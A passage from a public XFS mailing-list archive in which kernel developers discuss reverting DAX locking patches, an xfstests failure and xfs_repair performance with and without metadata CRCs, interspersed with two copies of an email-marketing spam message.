, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Message-ID: <20151001224745.GB7634@linux.intel.com> X-ASG-Orig-Subj: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Mail-Followup-To: Ross Zwisler , Dave Chinner , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org References: <1443685599-4843-1-git-send-email-david@fromorbit.com> <1443685599-4843-2-git-send-email-david@fromorbit.com> <20151001202729.GA23495@linux.intel.com> <20151001223240.GI27164@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151001223240.GI27164@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1443739666 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23096 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 02, 2015 at 08:32:40AM +1000, Dave Chinner wrote: > I couldn't work out what set of commits I needed to revert to get a > clean revert, so I just reverted the commits and hacked out the > revert failures to what looked ok. Feel free to send me a clean set > of reverts, and I'll replace these patches with them... :) Will do. I will queue the reverts in my external tree & ask Linus to pull them into v4.3 so we don't ship with deadlocks. > > Also, if I understood your previous mails correctly you were targeting the > > first two revert patches for v4.3 so we get back to v4.2 level locking, and > > the rest of the series will target v4.4, correct? How does this work? Do the > > patches need to be split into two series and tested separately? > > Test it and push the reverts however you like. I don't care how the > reverts get to 4.3 - I'll be carrying them locally in my trees from > now and so my development and testing is now unaffected by the bugs > that are in the 4.3 code. If you aren't going to push them for 4.3 > then I'd suggest that they go to linus along with the rest of the > XFS changes in this series. > > FWIW, I'm quite happy to host all the pending DAX changes in a > public git tree and ask for it to be included in linux-next. It's > probably a good idea to do this because it makes it much easier to > co-ordinate merges when we are touching multiple subsystems (ext4, > xfs, dax, mm, etc). And it will help prevent the "patches molder on > the list until Andrew hoovers them up" problem and so prevent this > situation from happening in the future... No objections from me. :) I agree that it would be nice to have a central home for all the DAX patches. From david@fromorbit.com Thu Oct 1 17:54:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CCD827F55 for ; Thu, 1 Oct 2015 17:54:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A7985304051 for ; Thu, 1 Oct 2015 15:54:56 -0700 (PDT) X-ASG-Debug-ID: 1443740092-04cbb033b31bea50001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id lGEYCUIc2coR6DxW for ; Thu, 01 Oct 2015 15:54:53 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CpBwCguA1WPEcOLHleGQGDDVRuqRoMAQEBAQEBBosRiy4MhXEEAgKBN00BAQEBAQEHAQEBAUABP4QkAQEBAwEBAjccKAsIAxgJJQ8FFBEDBxoBEogmBw7MAgEBCAIBHxmGE4VFhCoRAViELAWHMwOGfYdGii6CYIFWlhSDb4J0HYFmLDOIOIFAAQEB Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Oct 2015 08:24:49 +0930 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZhmkS-0007g9-Du; Fri, 02 Oct 2015 08:54:48 +1000 Date: Fri, 2 Oct 2015 08:54:48 +1000 From: Dave Chinner To: Ross Zwisler , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: Re: [PATCH 0/7] xfs, dax: fix the page fault/allocation mess Message-ID: <20151001225448.GJ27164@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/7] xfs, dax: fix the page fault/allocation mess References: <1443685599-4843-1-git-send-email-david@fromorbit.com> <20151001203121.GB23495@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151001203121.GB23495@linux.intel.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443740093 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23097 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 01, 2015 at 02:31:21PM -0600, Ross Zwisler wrote: > On Thu, Oct 01, 2015 at 05:46:32PM +1000, Dave Chinner wrote: > > Hi folks, > > > > As discussed in the recent thread about problems with DAX locking: > > > > http://www.gossamer-threads.com/lists/linux/kernel/2264090?do=post_view_threaded > > > > I said that I'd post the patch set that fixed the problems for XFS > > as soon as I had something sane and workable. That's what this > > series is. > > > > To start with, it passes xfstests "auto" group with only the only > > failures being expected failures or failures due to unexpected > > allocation patterns or trying to use unsupported block sizes. That > > makes it better than any previous version of the XFS/DAX code. ..... > Thank you for working on this, and for documenting your thinking so clearly. To put this in perspective, "patch 0" descriptions like this is a requirement for any non-trivial XFS modification. It saves reviewers so much time and many round trips in email and IRC to understand the changes being proposed that it's a no-brainer. Lead by example, and all that... > One thing I noticed is that in my test setup XFS+DAX is now failing > generic/274: > > # diff -u tests/generic/274.out /root/xfstests/results//generic/274.out.bad > --- tests/generic/274.out 2015-08-24 11:05:41.490926305 -0600 > +++ /root/xfstests/results//generic/274.out.bad 2015-10-01 13:53:50.498354091 -0600 > @@ -2,4 +2,5 @@ > ------------------------------ > preallocation test > ------------------------------ > -done > +failed to write to test file > +(see /root/xfstests/results//generic/274.full for details) > > I've verified that the test passes 100% of the time with my baseline > (v4.3-rc3), and with the set applied but without the DAX mount option. With > the series and with DAX it fails 100% of the time. I haven't looked into the > details of the failure yet, I just wanted to let you know that it was > happening. See above - I classified this under the "failures due to unexpected allocation patterns". This is a ENOSPC test, and we've change the allocation pattern and the unwritten extent conversion algorithm and so changed the metadata allocation demand of the test. I haven't looked any further than this yet, but I suspect the issue is that the up-front unwritten extent conversion is not being allowed to dip into the reserve block pool for BMBT allocations when the extent list grows past a single block. If that's the case, then it's a couple of lines of code to conditionally at XFS_TRANS_RESERVE to the transaction handle to allow it access to the reserve pool... Cheers, Dave. -- Dave Chinner david@fromorbit.com From fanyuai@mail.com Thu Oct 1 19:52:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1B4547F55 for ; Thu, 1 Oct 2015 19:52:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4E43AC004 for ; Thu, 1 Oct 2015 17:52:21 -0700 (PDT) X-ASG-Debug-ID: 1443747132-04bdf046261a5cb0001-NocioJ Received: from xitang.baidupopin.com (xitang.baidupopin.com [5.255.87.224]) by cuda.sgi.com with ESMTP id 4t1ry2MVFzen5Jzk for ; Thu, 01 Oct 2015 17:52:15 -0700 (PDT) X-Barracuda-Envelope-From: fanyuai@mail.com X-Barracuda-Apparent-Source-IP: 5.255.87.224 To: xfs@oss.sgi.com Subject: solutions for your business Message-ID: <4de047374d43872d791fcfba4140bc50@bassettfurniture.com> X-ASG-Orig-Subj: solutions for your business Date: Fri, 02 Oct 2015 03:17:03 +0200 From: "Jensen Lewis" Reply-To: alvinin@aliyun.com MIME-Version: 1.0 X-Mailer-LID: 43 X-Mailer-RecptId: 25520412 X-Mailer-SID: 952 X-Mailer-Sent-By: 1 Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: xitang.baidupopin.com[5.255.87.224] X-Barracuda-Start-Time: 1443747132 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23102 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hey, Hope you are doing well! We provide email marketing service to a number of businesses. We can help your business reach the next level and generate more business leads. Please contact us so I can go over options for you. Thanks and regards, Jensen Lewis Contact: mihuiyuane@sina.com From fanyuai@mail.com Thu Oct 1 20:02:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C166F7F55 for ; Thu, 1 Oct 2015 20:02:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B8C608F8040 for ; Thu, 1 Oct 2015 18:02:08 -0700 (PDT) X-ASG-Debug-ID: 1443747725-04cb6c6b051938e0001-NocioJ Received: from xitang.baidupopin.com (xitang.baidupopin.com [5.255.87.224]) by cuda.sgi.com with ESMTP id DTg4CUSXRZHEctaM for ; Thu, 01 Oct 2015 18:02:06 -0700 (PDT) X-Barracuda-Envelope-From: fanyuai@mail.com X-Barracuda-Apparent-Source-IP: 5.255.87.224 To: xfs@oss.sgi.com Subject: solutions for your business Message-ID: <8a9a21911110794a772fbacd59b8d5b4@thebrick.com> X-ASG-Orig-Subj: solutions for your business Date: Fri, 02 Oct 2015 03:01:30 +0200 From: "Jensen Lewis" Reply-To: alvinin@aliyun.com MIME-Version: 1.0 X-Mailer-LID: 8 X-Mailer-RecptId: 10449103 X-Mailer-SID: 889 X-Mailer-Sent-By: 1 Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: xitang.baidupopin.com[5.255.87.224] X-Barracuda-Start-Time: 1443747725 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23102 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hey, Hope you are doing well! We provide email marketing service to a number of businesses. We can help your business reach the next level and generate more business leads. Please contact us so I can go over options for you. Thanks and regards, Jensen Lewis Contact: mihuiyuane@sina.com From david@fromorbit.com Thu Oct 1 21:16:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0015D7F55 for ; Thu, 1 Oct 2015 21:16:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9736EAC004 for ; Thu, 1 Oct 2015 19:16:40 -0700 (PDT) X-ASG-Debug-ID: 1443752196-04bdf046281a7790001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id SO7lYeDc6Pez5vvd for ; Thu, 01 Oct 2015 19:16:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2C1BwDM5w1WPEcOLHleGQGDDYFChlqiUwaLEIUPjB0CAgEBAoExTQEBAQEBAQcBAQEBQAE/hCQBAQEDATocIwULCAMOCgklDwUlAwcaE4gmB8t3AQEBBwIBHxmGE4VFhCkZAkkHhCwFlXyNDoFYh1qOP4NvgnEggWYsM4gwgUgBAQE Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Oct 2015 11:46:35 +0930 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zhpti-0007zJ-UA; Fri, 02 Oct 2015 12:16:34 +1000 Date: Fri, 2 Oct 2015 12:16:34 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2 02/12] libxfs: track largest metadata LSN in use via verifiers Message-ID: <20151002021634.GJ3902@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 02/12] libxfs: track largest metadata LSN in use via verifiers References: <1441997742-37160-1-git-send-email-bfoster@redhat.com> <1441997742-37160-3-git-send-email-bfoster@redhat.com> <20150923034406.GR3902@dastard> <20150923131831.GB37210@bfoster.bfoster> <20150923223625.GR19114@dastard> <20151001203851.GA3349@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151001203851.GA3349@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1443752196 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23103 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 01, 2015 at 04:38:51PM -0400, Brian Foster wrote: > On Thu, Sep 24, 2015 at 08:36:25AM +1000, Dave Chinner wrote: > > On Wed, Sep 23, 2015 at 09:18:31AM -0400, Brian Foster wrote: > > > > This will have the same lock contention problems that the kernel > > > > code would have had - my repair scalablity tests regularly reach > > > > over 1GB/s of metadata being prefetched through tens of threads, so > > > > this is going have a significant impact on performance in those > > > > tests.... > ... > > > > > I'll have to think about this some more and see what's effective. I'd > > > also like to quantify the effect the current locking has on performance > > > if possible. Can you provide a brief description of your typical repair > > > test that you would expect this to hurt? E.g., a large fs, many AGs, > > > populated with fs_mark and repaired with many threads..? Any special > > > storage configuration? Thanks. > > > > Just my usual 500TB fs_mark test... > > Thanks for the test information and sample results. I wasn't able to get > close enough to the base numbers you mentioned on IRC with the spinning > rust storage I have available. Instead, I tried running something > similar using a large ramdisk as a backing store. I have a 500T sparse > file formatted with XFS and populated with ~25m inodes that uses roughly > ~16GB of the backing store (leaving another 16GB of usable RAM for the > server). Keep in mind when doing this sort of testing that a ramdisk does not perform like normal storage - it does synchronous IO via memcpy() rather than async IO via DMA, and hence has a very different CPU cache footprint, concurrency and latency profile to normal IO. I'm not saying your numbers are invalid, just making sure that you remember that ramdisks, while fast, may not give results that are representative of normal storage behaviour... > I run xfs_repair[1] against that 500TB fs and see spikes of throughput up > over 2GB/s and get repair result reports like the following: > So I'm not seeing much difference here with the max lsn tracking as it > is implemented in this series. Yup, same here. min/max spread between the 4.2.0 debian unstable package and a locally built 4.2.0+lsn tracking is the same. Both varied between 2m55s and 3m5s, all used roughly the same user and system CPU. So we'll commit it as is ;) > Out of curiosity, I ran a v3.2.2 > xfs_repair binary that happened to be installed on this host, got a much > faster result than even the current master, and via perf diff discovered > that the biggest difference between the runs was actual CRC calculation. I think you might have drawn the incorrect conclusion from the profile data... > Based on that, I ran the same crc=0 test against the current code with > the following results: > > Phase Start End Duration > Phase 1: 10/01 13:53:49 10/01 13:53:49 > Phase 2: 10/01 13:53:49 10/01 13:53:50 1 second > Phase 3: 10/01 13:53:50 10/01 13:54:52 1 minute, 2 seconds > Phase 4: 10/01 13:54:52 10/01 13:55:01 9 seconds > Phase 5: 10/01 13:55:01 10/01 13:55:01 > Phase 6: 10/01 13:55:01 10/01 13:55:35 34 seconds > Phase 7: 10/01 13:55:35 10/01 13:55:35 > > ... so that knocks off another 15s or so from the test. Note that the > lsn lock is irrelevant in the crc=0 case as there are no metadata LSNs, > thus no verification occurs. My results: fsmark creation mkfs (4.2.0) files/s (avg) wall time repair defaults 203209 4m57s 2m55s-3m05s -m crc=0 188837 5m06s 2m07s-2m10s On first glance, I've just replicated your results. But the PCP monitoring I run all the time tell a different story. Both xfs_repair runs are io bound during phase 3 and 4, but the crc=0 run does a *lot less IO*. The reason for this will be obvious when I tell you: inodes are 512 bytes when CRCs are enabled, 256 bytes when they aren't. Hence there's twice as much metadata to be read when CRCs are enabled, and when it is read at a fixed rate, it takes twice as long to read. The trap here is that perf profiles tend to present "percentage of CPU used by a function" rather than absolute CPU consumed by the function across a test run. That's why you might think that the CPU consumed by CRCs is responsible for the difference in performance - it's the only really obvious difference in the profile. What I think you'll find if you look deeper is that the time spent in memcpy() deep in the ramdisk IO path has doubled and that's where most of the additional time comes from. Apples to apples comparison at the IO level on my test rig: fsmark creation mkfs files/s (avg) wall time repair defaults 203209 4m57s 2m55s-3m05s -m crc=0 188837 5m06s 2m07s-2m10s -m crc=0 -i size=512 194331 5m00s 3m00s-3m10s Yup, when doing IO-equivalent testing, CRCs have no measurable wall time impact on xfs_repair runtime. Performance analysis is tricky stuff.... ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Fri Oct 2 06:33:08 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A4CA67F55 for ; Fri, 2 Oct 2015 06:33:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1749AAC004 for ; Fri, 2 Oct 2015 04:33:07 -0700 (PDT) X-ASG-Debug-ID: 1443785586-04cbb033b21cd2f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qRYAYx92h8KiHv2B (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 04:33:06 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id DBABB5BA3D; Fri, 2 Oct 2015 11:33:05 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92BX5CH004429; Fri, 2 Oct 2015 07:33:05 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 646191203DF; Fri, 2 Oct 2015 07:33:04 -0400 (EDT) Date: Fri, 2 Oct 2015 07:33:04 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2 02/12] libxfs: track largest metadata LSN in use via verifiers Message-ID: <20151002113304.GB51208@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH v2 02/12] libxfs: track largest metadata LSN in use via verifiers References: <1441997742-37160-1-git-send-email-bfoster@redhat.com> <1441997742-37160-3-git-send-email-bfoster@redhat.com> <20150923034406.GR3902@dastard> <20150923131831.GB37210@bfoster.bfoster> <20150923223625.GR19114@dastard> <20151001203851.GA3349@bfoster.bfoster> <20151002021634.GJ3902@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151002021634.GJ3902@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443785586 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 02, 2015 at 12:16:34PM +1000, Dave Chinner wrote: > On Thu, Oct 01, 2015 at 04:38:51PM -0400, Brian Foster wrote: > > On Thu, Sep 24, 2015 at 08:36:25AM +1000, Dave Chinner wrote: > > > On Wed, Sep 23, 2015 at 09:18:31AM -0400, Brian Foster wrote: > > > > > This will have the same lock contention problems that the kernel > > > > > code would have had - my repair scalablity tests regularly reach > > > > > over 1GB/s of metadata being prefetched through tens of threads, so > > > > > this is going have a significant impact on performance in those > > > > > tests.... > > ... > > > > > > > I'll have to think about this some more and see what's effective. I'd > > > > also like to quantify the effect the current locking has on performance > > > > if possible. Can you provide a brief description of your typical repair > > > > test that you would expect this to hurt? E.g., a large fs, many AGs, > > > > populated with fs_mark and repaired with many threads..? Any special > > > > storage configuration? Thanks. > > > > > > Just my usual 500TB fs_mark test... > > > > Thanks for the test information and sample results. I wasn't able to get > > close enough to the base numbers you mentioned on IRC with the spinning > > rust storage I have available. Instead, I tried running something > > similar using a large ramdisk as a backing store. I have a 500T sparse > > file formatted with XFS and populated with ~25m inodes that uses roughly > > ~16GB of the backing store (leaving another 16GB of usable RAM for the > > server). > > Keep in mind when doing this sort of testing that a ramdisk does not > perform like normal storage - it does synchronous IO via memcpy() > rather than async IO via DMA, and hence has a very different CPU > cache footprint, concurrency and latency profile to normal IO. > > I'm not saying your numbers are invalid, just making sure that you > remember that ramdisks, while fast, may not give results that are > representative of normal storage behaviour... > Yeah, good point. I kind of just got here as a last resort. I'm going to see if I can get something set up to more easily test this kind of thing in the future. > > I run xfs_repair[1] against that 500TB fs and see spikes of throughput up > > over 2GB/s and get repair result reports like the following: > > > > > So I'm not seeing much difference here with the max lsn tracking as it > > is implemented in this series. > > Yup, same here. min/max spread between the 4.2.0 debian unstable > package and a locally built 4.2.0+lsn tracking is the same. Both > varied between 2m55s and 3m5s, all used roughly the same user and > system CPU. So we'll commit it as is ;) > Ok, thanks for verifying that. I still have to rebase this code once the kernel side is reviewed and make a couple minor updates as well. > > Out of curiosity, I ran a v3.2.2 > > xfs_repair binary that happened to be installed on this host, got a much > > faster result than even the current master, and via perf diff discovered > > that the biggest difference between the runs was actual CRC calculation. > > I think you might have drawn the incorrect conclusion from the > profile data... > > > Based on that, I ran the same crc=0 test against the current code with > > the following results: > > > > Phase Start End Duration > > Phase 1: 10/01 13:53:49 10/01 13:53:49 > > Phase 2: 10/01 13:53:49 10/01 13:53:50 1 second > > Phase 3: 10/01 13:53:50 10/01 13:54:52 1 minute, 2 seconds > > Phase 4: 10/01 13:54:52 10/01 13:55:01 9 seconds > > Phase 5: 10/01 13:55:01 10/01 13:55:01 > > Phase 6: 10/01 13:55:01 10/01 13:55:35 34 seconds > > Phase 7: 10/01 13:55:35 10/01 13:55:35 > > > > ... so that knocks off another 15s or so from the test. Note that the > > lsn lock is irrelevant in the crc=0 case as there are no metadata LSNs, > > thus no verification occurs. > > My results: > fsmark creation > mkfs (4.2.0) files/s (avg) wall time repair > defaults 203209 4m57s 2m55s-3m05s > -m crc=0 188837 5m06s 2m07s-2m10s > > On first glance, I've just replicated your results. But the PCP > monitoring I run all the time tell a different story. Both > xfs_repair runs are io bound during phase 3 and 4, but the crc=0 run > does a *lot less IO*. > > The reason for this will be obvious when I tell you: inodes are 512 > bytes when CRCs are enabled, 256 bytes when they aren't. Hence > there's twice as much metadata to be read when CRCs are enabled, and > when it is read at a fixed rate, it takes twice as long to read. > Ah, right. I probably should have formatted the crc=0 fs with isize=512. > The trap here is that perf profiles tend to present > "percentage of CPU used by a function" rather than absolute CPU > consumed by the function across a test run. That's why you might > think that the CPU consumed by CRCs is responsible for the > difference in performance - it's the only really obvious difference > in the profile. What I think you'll find if you look deeper is that > the time spent in memcpy() deep in the ramdisk IO path has doubled > and that's where most of the additional time comes from. > > Apples to apples comparison at the IO level on my test rig: > > fsmark creation > mkfs files/s (avg) wall time repair > defaults 203209 4m57s 2m55s-3m05s > -m crc=0 188837 5m06s 2m07s-2m10s > -m crc=0 -i size=512 194331 5m00s 3m00s-3m10s > > Yup, when doing IO-equivalent testing, CRCs have no measurable > wall time impact on xfs_repair runtime. > Ok, that minor range shift definitely seems much more reasonable a result. I thought the 1m or so difference I saw (on spinning storage) seemed a bit much, enough to try and figure out what was going on there. I was thinking a regression at first, but the crc stuff jumped out at the top of the cpu profile so I left it at that and forgot about the isize change. Thanks for the analysis... Brian > Performance analysis is tricky stuff.... ;) > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From billodo@redhat.com Fri Oct 2 11:22:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 167517F55 for ; Fri, 2 Oct 2015 11:22:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 91E85AC020 for ; Fri, 2 Oct 2015 09:22:57 -0700 (PDT) X-ASG-Debug-ID: 1443802976-04cb6c6b071a9330001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 9FVOUMuzWQtYACHW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 09:22:56 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id ECCAD8E697 for ; Fri, 2 Oct 2015 16:22:55 +0000 (UTC) Received: from localhost.localdomain.com (vpn-48-121.rdu2.redhat.com [10.10.48.121]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92GMqq9005602 for ; Fri, 2 Oct 2015 12:22:55 -0400 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: [PATCH 2/7] xfs: create symlink proc/fs/xfs/stat to sys/fs/xfs/stats Date: Fri, 2 Oct 2015 11:22:35 -0500 X-ASG-Orig-Subj: [PATCH 2/7] xfs: create symlink proc/fs/xfs/stat to sys/fs/xfs/stats Message-Id: <1443802960-26662-3-git-send-email-billodo@redhat.com> In-Reply-To: <1443802960-26662-1-git-send-email-billodo@redhat.com> References: <1443802960-26662-1-git-send-email-billodo@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: 